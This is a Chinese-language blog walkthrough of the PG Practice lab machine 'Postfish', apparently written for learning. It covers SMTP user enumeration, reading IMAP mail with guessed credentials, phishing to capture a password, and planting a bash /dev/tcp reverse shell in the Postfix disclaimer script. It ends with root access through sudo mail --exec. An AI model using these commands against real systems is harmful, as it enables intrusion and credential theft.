iT邦幫忙

2025 iThome 鐵人賽

DAY 13
0
Security

滲透探險 30 天:靶機挑戰記系列 第 13

PG Practice: Postfish 攻略

  • 分享至 

  • xImage
  •  

Recon

先來看看這臺主機上面有什麼服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.137 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.137 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.137 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.137 -type recon;

https://ithelp.ithome.com.tw/upload/images/20250926/20178791egkN3zqG6J.png
SMTP 的服務是開啟的 我們可以試著列舉 username 看看有沒有機會找到有用的資訊
這邊我們用 cewl 這套工具在網路上幫我們製作字典表

cewl -d 2 -w cewl-wordlist.txt http://postfish.off

接著用做好的字典表去試看看 SMTP 服務 也許可以找到甚麼資訊
從這結果看來 Sales 與 Legal 是存在的合法 users

smtp-user-enum -M VRFY -U ./cewl-wordlist.txt -t $tIP

https://ithelp.ithome.com.tw/upload/images/20250926/20178791M732rcQkJq.png

因為 IMAP 與 POP3 是郵件相關的服務,因此這題應該是要我們去讀郵件
所以我們去參照 hacktricks 的作法去列出前5封郵件 https://hacktricks.boitatech.com.br/pentesting/pentesting-imap#curl
因為不知道 sales的密碼 所以只能先猜看看 sales的密碼是不是一樣的
非常順利的我們讀到了信件的內容 看起來是 IT會寄出密碼重置的連結給 sales team 的人
換句話說 sales team 的人應該會點擊由 IT寄過來的信

for m in {1..5}; do\n  echo $m\n  curl "imap://postfish.off/INBOX;MAILINDEX=$m" --user sales:sales\ndone

https://ithelp.ithome.com.tw/upload/images/20250926/20178791yBWEu3tC5Q.png

我們來研究一下找到的網頁 http://postfish.off/team.html
由網頁上的人員介紹看起來 只有這個 Brian Moore屬於 sales team 的人
https://ithelp.ithome.com.tw/upload/images/20250926/20178791lCian7yNjJ.png

因為我們並不知道這間公司是如何定義郵件所使用的 username 所以我們需要有工具幫忙產生各種可能的排列組合
這邊我使用這支 https://github.com/jseidl/usernamer/blob/master/usernamer.py
他會幫忙產生以 Brian Moore 為主的字典檔

python2 usernamer.py -n 'Brian Moore' > Brian_Moore_list

接著 我們用 SMTP去 try 看那個組合是對的
然後我們發現 Brian.Moore 存在

smtp-user-enum -M VRFY -U ./Brian_Moore_list -t $tIP 

https://ithelp.ithome.com.tw/upload/images/20250926/20178791N9E95jTr9m.png

Initial Access

接著我們開啟監聽 然後寄信給 Brain Moore 並附上我們的 ip位置
然後我們就順利的拿到了 Brain 的密碼 EternaLSunshinE
接著就是我們登入系統 拿取 flag的時候了

telnet $tIP smtp

https://ithelp.ithome.com.tw/upload/images/20250926/20178791JhkqSbVDKl.png
https://ithelp.ithome.com.tw/upload/images/20250926/2017879127Qs7MkwqB.png

Brian.Moore 的密碼是 EternaLSunshinE,來登入 SSH看看

ssh brian.moore@$tIP

https://ithelp.ithome.com.tw/upload/images/20250926/20178791vXLN8oFQf2.png

Privilege Escalation

我們用 Linpeas 跑一下看看有沒有弱點是可以利用來提升權限的
https://ithelp.ithome.com.tw/upload/images/20250926/20178791MpB1gDyLif.png

網上查了一下 disclaimer 能被利用,依照這篇文章 https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze 的說法,我們有機會寫入一個 reverse shell 到 disclaimer. 一但有信件被收到,這個 disclaimer 就會被自動執行
所以我們現在來寫 disclaimer 的內容,讓他來連回我們的 Kali

echo '#!/bin/bash' > /etc/postfix/disclaimer
echo 'bash -i >& /dev/tcp/192.168.45.238/80 0>&1' >> /etc/postfix/disclaimer

https://ithelp.ithome.com.tw/upload/images/20250926/20178791Pa6oVpV1YD.png

接著設定一個監聽程式在 Port 80 然後寄出信件

$ telnet $tIP smtp                     
Trying 192.168.155.137...
Connected to 192.168.155.137.
Escape character is '^]'.
220 postfish.off ESMTP Postfix (Ubuntu)
helo yahoo
250 postfish.off
MAIL FROM: it@postfish.off    
250 2.1.0 Ok
RCPT TO: brian.moore@postfish.off
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
give me admin
.
250 2.0.0 Ok: queued as 07209458FA
quit
221 2.0.0 Bye
Connection closed by foreign host.

https://ithelp.ithome.com.tw/upload/images/20250926/20178791G7Ymu2wuno.png

拿到 reverse shell 後先看看這個 User 能執行甚麼樣的 root 權限
https://ithelp.ithome.com.tw/upload/images/20250926/20178791BEiCQHrpqg.png
然後上GTFO bin 上去找 https://gtfobins.github.io/gtfobins/mail/#sudo
順利提權 拿到 flag!

sudo -u root /usr/bin/mail --exec='!/bin/sh'

https://ithelp.ithome.com.tw/upload/images/20250926/20178791t1yw52dI3D.png

這題也是不簡單啊!


上一篇
PG Practice: Nickel 攻略
下一篇
PG Practice: Medjed 攻略
系列文
滲透探險 30 天:靶機挑戰記16
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言